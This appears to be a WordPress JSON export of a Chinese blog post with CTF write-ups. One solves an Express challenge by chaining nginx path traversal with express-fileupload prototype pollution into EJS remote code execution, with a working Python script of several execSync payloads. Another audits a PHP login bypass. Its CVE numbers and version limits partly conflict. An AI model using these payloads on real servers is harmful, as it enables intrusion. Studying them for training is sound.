{"id":1583,"date":"2025-10-28T17:46:28","date_gmt":"2025-10-28T09:46:28","guid":{"rendered":"https:\/\/www.nightying.com\/?p=1583"},"modified":"2025-10-28T17:47:03","modified_gmt":"2025-10-28T09:47:03","slug":"%e6%af%8f%e6%97%a5%e4%b8%80%e9%a2%98","status":"publish","type":"post","link":"https:\/\/www.nightying.com\/index.php\/2025\/10\/28\/%e6%af%8f%e6%97%a5%e4%b8%80%e9%a2%98\/","title":{"rendered":"\u6bcf\u65e5\u4e00\u9898"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\"><strong>2025.10.27<\/strong><\/h2>\n\n\n\n<p><a href=\"https:\/\/www.cnblogs.com\/sun010\/articles\/18823519\">https:\/\/www.cnblogs.com\/sun010\/articles\/18823519<\/a><\/p>\n\n\n\n<p>Web16-BadProgrammer\uff08nginx\u6e90\u7801\u6cc4\u9732\u6f0f\u6d1e+express-fileupload\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e+express\u6846\u67b6\uff09<br>\u901a\u8fc7\u76ee\u5f55\u904d\u5386\uff0c\u53d1\u73b0nginx\u914d\u7f6e\u9519\u8bef<\/p>\n\n\n\n<p>\u6210\u529f\u8bbf\u95ee\u5230\uff1a\u201cstatic..\u201d<\/p>\n\n\n\n<p>\u5f97\u77e5app.js\u4e2d\uff0c\u5b58\u5728<strong>express-fileupload\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e\uff08CVE-2022-24999 \u539f\u578b\u6c61\u67d3\uff09<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#app.js\n#\/\/app.js\u662fExpress\u5e94\u7528\u7684\u5165\u53e3\uff0c\u8d1f\u8d23\u521d\u59cb\u5316\uff0c\u8def\u7531\u548c\u542f\u52a8\u670d\u52a1\nconst express = require('express');\nconst fileUpload = require('express-fileupload');\nconst app = express();\n \napp.use(fileUpload({ parseNested: true }));\n \napp.post('\/4_pATh_y0u_CaNN07_Gu3ss', (req, res) =&gt; {\n    res.render('flag.ejs');\n});\n \napp.get('\/', (req, res) =&gt; {\n    res.render('index.ejs');\n})\n \napp.listen(3000);\napp.on('listening', function() {\n    console.log('Express server started on port %s at %s', server.address().port, server.address().address);\n});<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code><strong>3.1 nginx\u6e90\u7801\u6cc4\u9732\u6f0f\u6d1e<\/strong>\nnginx\uff1a\u662f\u6700\u9ad8\u6027\u80fd\u7684web\u670d\u52a1\u5668\/\u53cd\u5411\u4ee3\u7406\uff0c\u9002\u5408\u9ad8\u5e76\u53d1\uff0c\u4f4e\u5ef6\u8fdf\u573a\u666f\uff0c\u4e5f\u662f\u4e00\u6b3e\u524d\u540e\u7aef\u5de5\u5177\u3002\u524d\u7aef\u4e3b\u8981\u7528\u6765\u6258\u7ba1\u4ee3\u7801\u6587\u4ef6\uff0c\u540e\u7aef\u4e00\u822c\u4e0d\u76f4\u63a5\u4f7f\u7528\u3002\u6838\u5fc3\u529f\u80fd\u4e3a\u9759\u6001\u6258\u7ba1\uff0c\u8d1f\u8f7d\u5747\u8861\uff0c\u7f13\u5b58\uff0cHTTPS\u652f\u6301\u7b49\u3002\u4f18\u52bf\u6709\u8f7b\u91cf\u7ea7\uff0c\u6613\u914d\u7f6e\uff0c\u8d44\u6e90\u5360\u7528\u4f4e\u3002\n\u6982\u5ff5\uff1a\u7531\u4e8e\u914d\u7f6e\u9519\u8bef\u6216\u8f6f\u4ef6\u7f3a\u9677\uff0c\u6216\u8005Nginx\u670d\u52a1\u5668\u914d\u7f6e\u4e0d\u5f53\uff0c\u8eab\u4efd\u9a8c\u8bc1\u673a\u5236\u4e0d\u591f\u4e25\u683c\uff0c\u8bbf\u95ee\u89c4\u5219\u8fc7\u4e8e\u5bbd\u677e\u7b49\u539f\u56e0\u5bfc\u81f4\u7684\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u80fd\u591f\u76f4\u63a5\u8bbf\u95eeNginx\u670d\u52a1\u5668\u7684\u654f\u611f\u6587\u4ef6\uff08\u5982\u6e90\u4ee3\u7801\uff0c\u914d\u7f6e\u6587\u4ef6\uff0c\u73af\u5883\u53d8\u91cf\u7b49\uff09\u3002\u5728\u672c\u9898\u4e2d\u5c31\u662f\u5bf9\/static\u9759\u6001\u6587\u4ef6\u7684\u8bbf\u95ee\u89c4\u5219\u6216\u4e0e\u5bbd\u677e\u5bfc\u81f4\u7684\uff0c\u4ece\u800c\u4ece\/static\u76ee\u5f55\u4e0b\u8fdb\u884c..\/..\/..\/\u76ee\u5f55\u7a7f\u900f\u3002\n<strong>3.2 express-fileupload\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e\uff08CVE-2022-24999 \u539f\u578b\u6c61\u67d3\uff09<\/strong>\n\u6982\u5ff5\uff1aexpress-fileupload\uff1a\u662f\u4e00\u4e2a\u7528\u4e8eExpress\u6846\u67b6\u7684\u4e2d\u95f4\u4ef6\uff0c\u4e13\u95e8\u7528\u4e8e\u5904\u7406\u6587\u4ef6\u4e0a\u4f20\u7684\u56fe\u7247\uff0c\u6587\u6863\u7b49\u3002\u5f53\u5176\u7248\u672c\u5c0f\u4e8e1.1.6\u65f6\uff0c\u5b58\u5728\u4e00\u79cd\u539f\u578b\u94fe\u6c61\u67d3\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u901a\u8fc7\u5728\u4e0a\u4f20\u6587\u4ef6\u7684\u8bf7\u6c42\u4e2d\u8bbe\u7f6e\u7279\u5b9a\u7684__proto__\u5c5e\u6027\u6765\u6c61\u67d3\u539f\u578b\u94fe\u3002\n\u5728\u54ea\uff1a\u6240\u6709\u7248\u672c\u4f4e\u4e8e1.1.8\u7248\u672c\u7684\uff0c\u5c31\u4f1a\u5b58\u5728CVE-2020-7699\u6f0f\u6d1e\uff0c\u67e5\u770bpackage.json\u6587\u4ef6\uff0c\u53d1\u73b0\u5f15\u7528\u7684expreess\u7248\u672c\u4e3a1.1.7-alpha4\uff0c\u5219\u5b58\u5728\u8be5\u6f0f\u6d1e\n\u7528\u6cd5\uff1a\u901a\u8fc7\u6c61\u67d3ejs\u4e2doutFunctionName\u53d8\u91cf\uff0c\u5b9e\u73b0\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c(RCE)\u3002\n<strong>3.3 express\u6846\u67b6<\/strong>\n\u6982\u5ff5\uff1a\u662f\u4e00\u4e2a\u57fa\u4e8eNode.js\u7684\u8f7b\u91cf\u7ea7\u7684Web\u5e94\u7528\u6846\u67b6\uff0c\u7528\u4e8e\u5feb\u901f\u6784\u5efa\u540e\u7aefAPI\u6216\u670d\u52a1\u5668\u6e32\u67d3\uff08SSR\uff09\u5e94\u7528<\/code><\/pre>\n\n\n\n<p>\u5c1d\u8bd5\u901a\u8fc7\/4_pATh_y0u_CaNN07_Gu3ss\u8fdb\u884cRCE\uff0c\u5e76\u4e14\u8fdb\u884c\u6c61\u67d3\uff1a\uff08\u5176\u4e2d\uff0c\u65b9\u6cd51\uff0c\u65b9\u6cd52\uff0c\u65b9\u6cd53\u5747\u6210\u529f\uff0c\u65b9\u6cd54\u5931\u8d25\uff09\uff08\u8fd8\u53ef\u4ee5\u5c1d\u8bd5cp \/flag.txt\u5230\u9879\u76ee\u4e2d\u76f4\u63a5\u67e5\u770b\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import requests\n\nurl = \"http:\/\/61.147.171.35:55763\/4_pATh_y0u_CaNN07_Gu3ss\"\n\n# \u65b9\u6cd51\uff1a\u4f7f\u7528\u5168\u5c40\u7684process\u5bf9\u8c61\npayload_global = {\n    \"__proto__.outputFunctionName\": \"_; return global.process.mainModule.require('child_process').execSync('cat \/flag.txt').toString(); _\"\n}\n\n# \u65b9\u6cd52\uff1a\u4f7f\u7528\u6a21\u5757\u7f13\u5b58\npayload_cache = {\n    \"__proto__.outputFunctionName\": \"_; return this.process.mainModule.constructor._load('child_process').execSync('cat \/flag.txt').toString(); _\"\n}\n\n# \u65b9\u6cd53\uff1a\u4f7f\u7528Buffer\u7684require\npayload_buffer = {\n    \"__proto__.outputFunctionName\": \"_; return Buffer.constructor('return process.mainModule.require(\\\"child_process\\\")')().execSync('cat \/flag.txt').toString(); _\"\n}\n\n# \u65b9\u6cd54\uff1a\u5c1d\u8bd5\u76f4\u63a5\u4f7f\u7528execSync\uff08\u5982\u679c\u5df2\u7ecf\u5728\u5168\u5c40\uff09\npayload_direct = {\n    \"__proto__.outputFunctionName\": \"_; return execSync('cat \/flag.txt').toString(); _\"\n}\n\npayloads = &#91;\n    (\"\u5168\u5c40process\u5bf9\u8c61\", payload_global),\n    (\"\u6a21\u5757\u7f13\u5b58\", payload_cache),\n    (\"Buffer\u6784\u9020\", payload_buffer),\n    (\"\u76f4\u63a5execSync\", payload_direct)\n]\n\nfor name, payload in payloads:\n    print(f\"\\n&#91;*] \u5c1d\u8bd5\u65b9\u6cd5: {name}\")\n    try:\n        response = requests.post(url, data=payload, files={'file': ('test.txt', 'dummy-data')})\n        print(f\"\u72b6\u6001\u7801: {response.status_code}\")\n        \n        # \u68c0\u67e5\u662f\u5426\u6709\u547d\u4ee4\u6267\u884c\u7ed3\u679c\n        if response.status_code == 200 and 'flag{' in response.text:\n            print(\"&#91;+] \u6210\u529f\u83b7\u53d6flag!\")\n            print(response.text)\n            break\n        elif \"require is not defined\" in response.text:\n            print(\"&#91;-] require\u672a\u5b9a\u4e49\")\n        elif \"execSync is not defined\" in response.text:\n            print(\"&#91;-] execSync\u672a\u5b9a\u4e49\")\n        else:\n            print(\"\u54cd\u5e94\u9884\u89c8:\", response.text&#91;:500])\n    except Exception as e:\n        print(f\"\u9519\u8bef: {e}\")<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>\u65b9\u6cd55\uff1acp\u6587\u4ef6\nimport requests\n \n \nresp1 = requests.post(\"http:\/\/{}:{}\/{}\".format('61.147.171.3', '55763', '4_pATh_y0u_CaNN07_Gu3ss'),\n        files={'__proto__.outputFunctionName':\n        (\n            None, \n \n \n\"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x\".format(cmd='cp \/flag.txt \/app\/static\/js\/flag.txt')\n        )})\n \nprint(resp1)\n<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2025.10.28<\/strong><\/h2>\n\n\n\n<p>PHP<strong>\u8ba4\u8bc1\u7ed5\u8fc7\u6f0f\u6d1e<\/strong>\uff08\u4ee3\u7801\u5ba1\u8ba1\uff09<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\nerror_reporting(0);\nsession_start();\nrequire 'conn.php';\n$_POST&#91;'userid']=!empty($_POST&#91;'userid'])?$_POST&#91;'userid']:\"\";\n$_POST&#91;'userpwd']=!empty($_POST&#91;'userpwd'])?$_POST&#91;'userpwd']:\"\";\n$username=$_POST&#91;'userid'];\n$userpwd=$_POST&#91;'userpwd'];\n$sql=\"select sds_password from sds_user where sds_username='\".$username.\"' order by id limit 1;\";\n$result=$mysqli-&gt;query($sql);\n$row=$result-&gt;fetch_array(MYSQLI_BOTH);\nif($result-&gt;num_rows&lt;1){\n\t$_SESSION&#91;'error']=\"1\";\n\theader(\"location:login.php\");\n\treturn;\n}\nif(!strcasecmp($userpwd,$row&#91;'sds_password'])){\n\t$_SESSION&#91;'login']=1;\n\t$result-&gt;free();\n\t$mysqli-&gt;close();\n\theader(\"location:index.php\");\n\treturn;\n}\n$_SESSION&#91;'error']=\"1\";\nheader(\"location:login.php\");\n\n?&gt;<\/code><\/pre>\n\n\n\n<p>\u5173\u952e\u7ed5\u8fc7\u90e8\u5206\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if(!strcasecmp($userpwd,$row&#91;'sds_password'])){\n\t$_SESSION&#91;'login']=1;\n\t$result-&gt;free();\n\t$mysqli-&gt;close();\n\theader(\"location:index.php\");\n\treturn;\n}<\/code><\/pre>\n\n\n\n<p><strong>\u5f53\u6570\u636e\u5e93\u67e5\u8be2\u8fd4\u56de\u7a7a\u7ed3\u679c\u65f6\uff0c\u4ee3\u7801\u672a\u6b63\u786e\u5904\u7406\u7a7a\u5bc6\u7801\u6bd4\u8f83\u3002\u5982\u679c\u6570\u636e\u5e93\u4e2d\u6ca1\u6709\u5339\u914d\u7528\u6237\uff0c$row[&#8216;sds_password&#8217;]\u4e3anull\uff0cstrcasecmp(null, \u7a7a\u5bc6\u7801)\u53ef\u80fd\u8fd4\u56de0\uff0c\u5bfc\u81f4\u8ba4\u8bc1\u7ed5\u8fc7<\/strong><\/p>\n\n\n\n<p>\uff08\u5f53\u7136\u8fd9\u91cc\u4e5f\u6709SQL\u6ce8\u5165\uff0cSQL\u6ce8\u5165\u4e5f\u80fd\u62ff\u5230\u5bc6\u7801\u4ece\u800c\u95f4\u63a5\u62ff\u5230flag\uff09<\/p>\n\n\n\n<p>\u81ea\u52a8\u5316\u4ee3\u7801\u5ba1\u8ba1\u5f97\u5230\u7684\u7ed3\u679c<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"439\" height=\"165\" src=\"https:\/\/www.nightying.com\/wp-content\/uploads\/2025\/10\/image-2.png\" alt=\"\" class=\"wp-image-1593\" srcset=\"https:\/\/www.nightying.com\/wp-content\/uploads\/2025\/10\/image-2.png 439w, https:\/\/www.nightying.com\/wp-content\/uploads\/2025\/10\/image-2-300x113.png 300w\" sizes=\"auto, (max-width: 439px) 100vw, 439px\" \/><\/figure>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2025.10.27 https:\/\/www.cnblogs.com\/sun010\/articles\/1882 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,6],"tags":[],"class_list":["post-1583","post","type-post","status-publish","format-standard","hentry","category-uncategorized","category-shentouceshi"],"_links":{"self":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/1583","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/comments?post=1583"}],"version-history":[{"count":8,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/1583\/revisions"}],"predecessor-version":[{"id":1594,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/posts\/1583\/revisions\/1594"}],"wp:attachment":[{"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/media?parent=1583"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/categories?post=1583"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.nightying.com\/index.php\/wp-json\/wp\/v2\/tags?post=1583"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}